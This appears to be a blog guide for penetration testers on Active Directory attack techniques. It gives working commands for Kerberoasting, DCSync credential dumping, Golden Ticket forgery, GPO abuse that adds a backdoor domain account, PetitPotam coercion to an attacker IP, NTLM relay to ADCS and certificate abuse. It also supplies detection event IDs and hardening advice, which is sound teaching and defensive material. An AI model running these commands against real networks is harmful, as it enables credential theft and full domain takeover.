Windows Active Directory Attacks: A Practical Guide for Penetration Testers

Active Directory is the backbone of almost every enterprise network. It handles authentication, authorization, group policies, and trust relationships across thousands of machines. And because it touches everything, a single misconfiguration — a weak service account password, an open ACL, an unpatched Kerberos implementation — can cascade into full domain compromise.

In this post I’m going to walk through the most impactful Windows/AD attack techniques used in real engagements — how they work under the hood, the tools involved, and what defenders should be looking for. This is not a module summary. This is practical knowledge built from hands-on pentesting and red team work.

Why Active Directory Is Always in Scope

According to Microsoft, over 90% of Fortune 1000 companies run Active Directory. When you land initial access on a Windows machine — whether through phishing, a vulnerable web app, or an exposed RDP — the next question is always the same: how do I move through this domain?

The answer almost always runs through Kerberos, NTLM, GPOs, ACLs, or certificates. Understanding how these components work is not optional for a pentester — it’s the difference between staying stuck on a low-privilege foothold and owning the domain controller.

Before we get into attacks, it helps to understand what AD actually exposes. Three main areas stand out:

1. Authentication protocols (Kerberos, NTLM) — every ticket request and hash exchange is a potential attack surface
2. AD objects and their properties — user descriptions, shared folders, GPOs, and certificate templates frequently leak credentials or grant unintended access
3. Trust relationships and delegations — how machines and accounts are trusted to act on behalf of others opens up entire lateral movement chains

Let’s go through each attack category.

Credential-Based Attacks

Kerberoasting

Kerberoasting abuses a fundamental feature of Kerberos: any authenticated domain user can request a Service Ticket (TGS) for any service registered with a Service Principal Name (SPN). The TGS is encrypted with the service account’s NTLM hash — which means you can request it, take it offline, and brute-force it without ever touching the target machine.

The beauty of this attack is that it’s almost invisible during execution. You’re making a legitimate Kerberos request — no exploit, no weird traffic. The problem for defenders is that organizations often create service accounts with weak passwords that haven’t changed in years because “they’re just service accounts.”

# Linux — Impacket
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -request

# Windows — Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# Crack offline
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Detection: Look for TGS-REQ events (Event ID 4769) with RC4 encryption type (0x17) for accounts with SPNs. Modern environments using AES-256 encryption make cracking significantly harder — enforce it via Group Policy.

AS-REProasting

When an account has Do not require Kerberos pre-authentication enabled, the KDC will respond to an AS-REQ for that account without verifying identity first. The response includes an encrypted blob (AS-REP) that can be cracked offline — no credentials needed to start the attack.

This is even lower-hanging fruit than Kerberoasting because it requires zero authentication from your side. Just enumerate users with DONT_REQ_PREAUTH set and fire the request.

# No credentials needed if you have a user list
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat

# Crack it
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Detection: Event ID 4768 with pre-authentication type 0. Any user without pre-authentication required should be flagged as a security risk immediately.

GPP Passwords (MS14-025)

Before 2014, administrators could push local account passwords through Group Policy Preferences — stored in SYSVOL in an XML file, encrypted with AES-256. The problem? Microsoft published the decryption key in their own documentation. That means any domain user can read SYSVOL, find the cpassword value, and decrypt it trivially.

Even in 2024, this shows up in real engagements. Legacy systems never cleaned up the old GPP XML files from SYSVOL.

# Impacket
python3 Get-GPPPassword.py DOMAIN/user:password@<DC_IP>

# CrackMapExec
crackmapexec smb <DC_IP> -u user -p password -M gpp_password

# Manual SYSVOL enumeration
find /mnt/sysvol -name "Groups.xml" | xargs grep -l cpassword

Fix: Delete all GPP XML files containing cpassword from SYSVOL. KB2962486 patches this on the server side — but the data already in SYSVOL stays until you remove it manually.

Credential Dumping & Domain Dominance

DCSync — Becoming the DC

Domain Controllers replicate data between each other using the Directory Replication Service (DRS). DCSync abuses this by impersonating a DC and requesting password data for any account — including krbtgt and all domain admins — using the GetNCChanges DRS call.

No code runs on the DC. No malware is dropped. It’s a legitimate protocol request. You just need an account with Replicating Directory Changes and Replicating Directory Changes All permissions — which by default only DCs have, but misconfigured environments sometimes grant to service accounts, backup operators, or Exchange servers.

# Mimikatz (from Windows)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

# Impacket (from Linux — no shell on DC needed)
python3 secretsdump.py DOMAIN/admin:password@<DC_IP>
python3 secretsdump.py -just-dc-ntlm DOMAIN/admin:password@<DC_IP>

What you get: NTLM hash of every account in the domain. Pass-the-hash directly to anything. Or crack offline and have plaintext credentials.

Detection: Event ID 4662 — look for {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes) from an account that isn’t a DC. Microsoft ATA and Defender for Identity flag this specifically.

Credentials Hidden in Plain Sight

Before going for advanced techniques, experienced pentesters always check two underrated sources:

Credentials in SMB Shares: SYSVOL and NETLOGON are readable by every domain user by design. But admins also love storing scripts, install files, config files, and readme documents in other shared folders — and those files routinely contain plaintext passwords, database connection strings, or API keys.

crackmapexec smb <CIDR> -u user -p password --shares
crackmapexec smb <DC_IP> -u user -p password -M spider_plus
# Or Snaffler for automated discovery
Snaffler.exe -s -o snaffler_output.txt

Credentials in AD Object Properties: Admins sometimes put passwords in the Description or Info fields of user objects in AD — visible to any authenticated user via LDAP. Run BloodHound or enumerate with LDAP directly:

# LDAP enum for description fields
ldapsearch -x -H ldap://<DC_IP> -D 'user@domain.com' -w password \
  -b 'DC=domain,DC=com' '(objectClass=user)' description

# Or with CrackMapExec
crackmapexec ldap <DC_IP> -u user -p password -M get-desc-users

Ticket Attacks: Persistence Through Kerberos

Golden Ticket

The krbtgt account’s NTLM hash is used by the KDC to sign and encrypt all Kerberos tickets in the domain. If you have that hash, you can forge a Ticket Granting Ticket (TGT) for literally any account — existing or not — with any group memberships you want, with an arbitrary lifetime.

This is called a Golden Ticket, and it gives you persistent domain admin access even after password resets — unless they reset krbtgt twice (which kills all current tickets).

# Step 1: Get krbtgt hash via DCSync
lsadump::dcsync /domain:corp.local /user:krbtgt

# Step 2: Forge the Golden Ticket
# Mimikatz
kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<NTLM_HASH> /ptt

# Rubeus
Rubeus.exe golden /rc4:<krbtgt_hash> /domain:corp.local \
  /sid:S-1-5-21-... /user:FakeAdmin /ptt

# Step 3: Verify
dir \\dc01\c$

Detection: Tickets with abnormally long lifetimes (default Kerberos TGT is 10 hours — a Golden Ticket can be valid for 10 years). Event ID 4769 for service ticket requests from a “user” that has no corresponding 4768 (TGT request) logged. Microsoft Defender for Identity specifically detects Golden Tickets by correlating ticket lifetimes.

GPO Abuse — Owning Machines Through Policy

Group Policy Objects control machine configuration across the domain. If you gain write access to a GPO — either through a misconfigured ACL directly on the GPO object, or through GenericWrite/WriteDacl on the OU it’s linked to — you can push arbitrary code to every machine under that policy.

# Enumerate GPO ACLs with BloodHound
# Or with PowerView
Get-GPPermissions -All | Where-Object { $_.Permission -like "*Modify*" }

# Abuse with SharpGPOAbuse
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hacker --GPOName "Default Domain Policy"

# Or add an immediate scheduled task
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
  --Author SYSTEM --Command cmd.exe --Arguments "/c net user backdoor P@ss123 /add /domain" \
  --GPOName "Default Domain Policy"

This is wildly underestimated. A single GPO linked to the root of the domain affects every single machine and user. Write access to it = full domain.

Delegation Attacks: Abusing Trust

Kerberos delegation allows a service to authenticate to another service on behalf of a user. It’s how web apps talk to backend databases, or how IIS impersonates users to hit file servers. Three flavors exist — and all three can be abused.

Unconstrained Delegation

When a machine or service account is set to Unconstrained Delegation, any user that authenticates to it has their TGT stored in memory on that machine. This means if you compromise that machine, you get TGTs for every user who authenticated to it — including domain admins.

Combine this with a coercing attack (see below) and you can force the DC itself to authenticate to your compromised machine, steal the DC’s TGT, and DCSync from there.

# Find machines with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation

# After compromise — dump TGTs from LSASS
Rubeus.exe triage
Rubeus.exe dump /luid:<LUID> /nowrap

# Pass the ticket
Rubeus.exe ptt /ticket:<base64_ticket>

Constrained Delegation

Constrained Delegation restricts which services an account can delegate to — but it still has a dangerous quirk: with the msDS-AllowedToDelegateTo attribute set and TrustedToAuthForDelegation enabled (Protocol Transition), the account can request a ticket for any user to the allowed service — including disabled accounts and domain admins.

# Find constrained delegation accounts
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $True} -Properties msDS-AllowedToDelegateTo

# Rubeus S4U abuse
Rubeus.exe s4u /user:svc_account /rc4:<hash> \
  /impersonateuser:Administrator \
  /msdsspn:cifs/target.corp.local /ptt

Coercing Attacks & NTLM Relay

The Art of Forcing Authentication

Coercing attacks force a Windows machine to authenticate to an attacker-controlled host. The authentication attempt contains the machine’s NTLM hash (or Kerberos ticket), which you can either crack or relay to another service.

PrinterBug (MS-RPRN): Abuses the Windows Print Spooler’s RpcRemoteFindFirstPrinterChangeNotification function. Any domain user can call it and make any machine authenticate back.

# Trigger — using SpoolSample or Dementor
python3 dementor.py -d DOMAIN -u user -p password <ATTACKER_IP> <TARGET_IP>

PetitPotam (MS-EFSRPC): Uses the Encrypting File System RPC interface. Doesn’t require print spooler to be running.

python3 PetitPotam.py -d DOMAIN -u user -p password <ATTACKER_IP> <TARGET_IP>

NTLM Relay — What to Do With the Auth

Once you’ve coerced authentication, you relay it to something useful. The most impactful target is the AD CS Web Enrollment interface — relay the DC’s authentication to get a certificate for the DC account, then use that certificate to get the DC’s NTLM hash via PKINIT.

# Setup ntlmrelayx targeting ADCS Web Enrollment
python3 ntlmrelayx.py -t http://<ADCS_SERVER>/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Trigger coerce from another terminal
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

# You get a base64 certificate — use it
Rubeus.exe asktgt /user:DC$ /certificate:<base64_cert> /getcredentials

This chain — coerce → relay to ADCS → get DC hash → DCSync — is one of the most devastating attack paths in modern AD pentesting and requires no user interaction beyond having a low-privilege domain account.

One of the most powerful modern techniques: abusing Active Directory Certificate Services to escalate to Domain Admin via misconfigured certificate templates. ESC1 = open enrollment + attacker-controlled Subject Alternative Name. If ADCS is in scope, check this first.

ADCS Attacks: Certificates as a Persistence Mechanism

Active Directory Certificate Services is present in most enterprise environments but rarely audited. The research by Will Schroeder and Lee Christensen (SpecterOps, 2021) catalogued 8+ escalation paths — ESC1 through ESC8 — most of which are trivially exploitable.

ESC1 — Misconfigured Certificate Templates

A certificate template is vulnerable to ESC1 when:

• Enrollment is open to low-privilege users
• The requester can specify a Subject Alternative Name (SAN)
• The certificate can be used for client authentication

If these three conditions are met, you can request a certificate for any user — including Domain Admins — and authenticate as them.

# Enumerate vulnerable templates
python3 certipy find -u user@domain.com -p password -dc-ip <DC_IP>

# Or Certify.exe from Windows
Certify.exe find /vulnerable

# Request a certificate as DA
certipy req -u user@domain.com -p password -ca CORP-CA \
  -template VulnerableTemplate -upn administrator@domain.com

# Authenticate with the certificate to get TGT + NTLM hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

Why this is so impactful: Certificates have long validity periods (1-5 years by default). Even after password resets, a certificate obtained before the reset remains valid for authentication — making this one of the best persistence mechanisms in AD. Defenders need to audit ADCS templates regularly and restrict SAN enrollment.

Object ACL Abuse: The Invisible Attack Path

Active Directory objects — users, groups, computers, GPOs — each have their own Access Control List that defines who can read or modify them. In large organizations with years of accumulated permissions, these ACLs are almost always misconfigured somewhere.

Here are the most dangerous permissions to look for on AD objects:

# BloodHound — the right way to find ACL abuse paths
# Collect data
SharpHound.exe -c All

# In BloodHound UI: Shortest Paths to Domain Admins
# Filter: "Abuse ACL" edges — look for GenericAll/WriteDacl/etc on privileged groups

# Manual check with PowerView
Find-InterestingDomainAcl -ResolveGUIDs | \
  Where-Object {$_.IdentityReferenceName -eq "Domain Users"}

# Exploit ForceChangePassword
Set-DomainUserPassword -Identity targetUser -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

Real-world impact: I’ve seen engagement after engagement where a developer group had GenericWrite on a Domain Admin account — added years ago for some forgotten reason. BloodHound finds these paths in seconds; cleaning them up takes weeks.

Putting It All Together: A Realistic Attack Chain

Real engagements rarely use just one technique. Here’s a typical path from low-privilege domain user to full domain compromise:

1. Enumerate — BloodHound for attack paths, Snaffler for credentials in shares
2. Quick wins — Check AS-REProasting, GPP passwords, credentials in object descriptions
3. Kerberoast — Service accounts with weak passwords are everywhere
4. Find a delegation or ACL edge — BloodHound shortest path analysis
5. Escalate via coerce + relay — if ADCS is present, ESC1 or the coerce → relay → ADCS chain
6. DCSync — once you have DA or replication rights
7. Persist — Golden Ticket or ESC1 certificate before changing anything that alerts the blue team

The speed of this chain is what makes it dangerous. In a well-configured lab environment it takes under an hour. In a real enterprise with accumulated technical debt, sometimes minutes.

Misconfigured ACLs in Active Directory can let you reset passwords, add members to privileged groups, or modify sensitive objects. BloodHound is your best friend here for mapping these attack paths visually before pulling the trigger.

Hardening Active Directory: What Actually Works

Most AD hardening guides list 50+ controls. In practice, a focused baseline covers the majority of attack surface:

Kerberos hardening: Enforce AES-256 (disable RC4/DES), enable pre-authentication on all accounts, apply Kerberoasting-resistant managed service accounts (gMSA).

Credential hygiene: Audit SYSVOL for old GPP XML files, audit AD object descriptions for plaintext credentials, enforce LAPS for local admin passwords.

• Tier the environment: Privileged Access Workstations (PAWs) for tier-0 admin operations — domain admins should never log into workstations
• Disable Print Spooler on DCs and servers that don’t need it
• Block NTLM where possible, or enforce NTLM signing to prevent relay attacks
• Audit ADCS templates quarterly — Certipy’s audit mode shows vulnerable templates in seconds
• Run BloodHound against your own environment — find and remove dangerous ACL paths before attackers do
• Monitor Event IDs 4662 (DCSync indicator), 4769 RC4 (Kerberoasting indicator), 4768 no preauth (AS-REP), and unusual certificate enrollments

Microsoft’s Protected Users security group is one of the most underused defenses: members can’t authenticate with NTLM, can’t use DES/RC4 for Kerberos, can’t use unconstrained delegation, and their TGTs are limited to 4 hours. Put every tier-0 admin account in it.

• Run Pingcastle or BloodHound CE against your own domain for an instant risk score
• Subscribe to the SpecterOps blog — they publish AD research before it becomes mainstream
• Build a lab (single Windows Server + one workstation) to practice every technique in this post in a safe environment

Active Directory attacks are a deep rabbit hole — every technique here has variants, edge cases, and newer evolutions. If you’re starting out, pick one category (start with Kerberoasting + AS-REProasting), build a lab, exploit it, then detect it from the blue team side. Understanding both perspectives makes you a significantly better pentester.

Have questions about a specific technique, or want me to go deeper on any of these? Drop a comment below. I regularly post AD labs and walkthroughs — subscribe to stay updated. 👇